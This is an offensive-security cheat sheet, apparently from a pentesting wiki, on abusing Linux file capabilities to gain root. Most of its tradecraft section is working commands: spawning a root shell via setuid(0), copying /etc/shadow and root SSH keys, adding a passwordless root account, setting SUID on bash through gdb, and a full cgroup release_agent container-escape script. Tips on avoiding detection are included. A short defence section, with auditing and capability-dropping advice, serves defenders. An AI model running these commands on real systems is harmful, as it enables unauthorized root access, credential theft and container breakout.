Linux capabilities abuse
TL;DR: Capabilities split root’s power into ~40 named privileges; admins use them to avoid SUID, but
cap_setuid,cap_sys_admin,cap_dac_read_search,cap_chown,cap_dac_override, andcap_sys_ptraceare each individually equivalent to full root if the binary that carries them is scriptable.getcap -r /finds the targets; the GTFOBins#+capabilitiesfilter has the escapes.
What it is
Linux 2.2+ replaces the binary root/non-root model with file and process capabilities (man capabilities(7)). A file capability is stored in an xattr (security.capability); when execve loads such a file, the kernel grants the listed caps to the resulting process — no setuid bit, no UID change. The intent is least-privilege (“ping needs to open a raw socket, not all of root”), but several capabilities trivially escalate back to UID 0 because they let the holder rewrite the security model.
Preconditions / where it applies
- Local shell.
- A binary with one of the dangerous file capabilities (
getcap -r / 2>/dev/null). - For container escapes: the container itself was started with one of these caps in
--cap-add.
Tradecraft
Step 1 — Enumerate.
1
2
3
getcap -r / 2>/dev/null # all file caps
getpcaps $$ # current process caps
capsh --print # human-readable current set
getcap output format: /path/binary cap_name+eip where flags mean Effective, Inheritable, Permitted. +ep is the dangerous combination — the capability is permitted and automatically effective.
Pattern 1 — cap_setuid+ep. The binary can call setuid(0) directly:
1
2
3
4
5
# Found: /usr/bin/python3.10 cap_setuid+ep
/usr/bin/python3.10 -c 'import os; os.setuid(0); os.system("/bin/bash")'
# Found: /usr/bin/perl cap_setuid+ep
/usr/bin/perl -e 'use POSIX qw(setuid); setuid(0); exec "/bin/bash";'
Pattern 2 — cap_dac_read_search+ep. Bypasses all DAC read/search checks. You can’t write, but you can read /etc/shadow, root’s SSH keys, kubeconfig, anything:
1
2
3
# Found: /usr/bin/tar cap_dac_read_search+ep
tar -czf /tmp/loot.tar.gz /etc/shadow /root/.ssh /root/.kube /var/lib/credentials
# crack offline
Pattern 3 — cap_dac_override+ep. Bypasses all DAC checks including write. Edit /etc/passwd:
1
2
3
# Found: /usr/bin/vim cap_dac_override+ep
vim /etc/passwd
# append: r00t::0:0::/root:/bin/bash
Pattern 4 — cap_chown+ep. Chown anything to anything:
1
2
3
# Found: /usr/bin/chown cap_chown+ep
chown $(id -u) /etc/shadow
cat /etc/shadow
Pattern 5 — cap_sys_admin+ep. Effectively root — can mount filesystems, manipulate namespaces, load BPF. With mount:
1
2
3
# Mount host root inside whatever boundary you're in
mkdir /tmp/r && mount -o bind / /tmp/r
chroot /tmp/r /bin/bash
Pattern 6 — cap_sys_ptrace+ep. Attach to any process; inject shellcode into a root daemon:
1
2
3
4
5
# Find a root PID
ps -ef | awk '$1=="root"{print $2}'
# Use gdb/strace to attach (also needs YAMA ptrace_scope=0 or that bit set)
gdb -p <root_pid>
(gdb) call (int)system("chmod +s /bin/bash")
Pattern 7 — Containers. A Docker container started with --cap-add=SYS_MODULE can insmod a kernel module — instant host root. SYS_ADMIN enables unshare, mount, and release_agent cgroup escapes. NET_ADMIN + NET_RAW lets you sniff host traffic when the netns is shared.
1
2
3
4
5
6
7
8
9
10
11
# In a container with SYS_ADMIN
mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp
mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent
echo '#!/bin/sh' > /cmd
echo "ps -ef > $host_path/output" >> /cmd
chmod +x /cmd
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
cat /output
Pattern 8 — Inheritable propagation. A binary with cap_*+i only gets the cap if the parent already has it in its inheritable set. Rarely useful directly, but a misconfigured pam_cap.so (/etc/security/capability.conf) can grant a user cap_setuid+i for every login session — combined with a +ei binary, root.
Detection and defence
- Audit:
find / -type f -exec getcap {} \; 2>/dev/nullquarterly. Diff against an inventory. auditd-a always,exit -F arch=b64 -S capset -F auid!=0 -k capsetflags processes adding caps.- Defence: prefer setuid-less binaries that drop caps after the initial action. Never grant
cap_setuid,cap_dac_*,cap_chown,cap_sys_admin,cap_sys_ptrace, orcap_sys_moduleon a binary that has any code path beyond its single purpose. - For containers: drop ALL caps and add only the minimum (
--cap-drop=ALL --cap-add=NET_BIND_SERVICE). Use theno-new-privilegessecurebit so children can’t gain caps. - AppArmor/SELinux profiles bound capabilities to specific binaries even if file caps are set.
OPSEC pitfalls
- Setting a capability on a binary you copy to
/tmprequires already being root (setcapitself needscap_setfcap). Don’t bother as a persistence trick if you’ll lose the priv. dmesgandauditdlog capability grants andcapsetsyscalls; a suddencap_sys_adminprocess from a non-system parent stands out.
References
- man capabilities(7) — canonical reference for every cap
- GTFOBins — capabilities — escape catalogue
- HackTricks — Linux Capabilities — practitioner walkthrough
- Docker — Linux capabilities for containers — container guidance
See also: linux-suid-sgid-gtfobins, sudo-misconfig-exploitation, polkit-pkexec-privesc, container-runtime-escapes-modern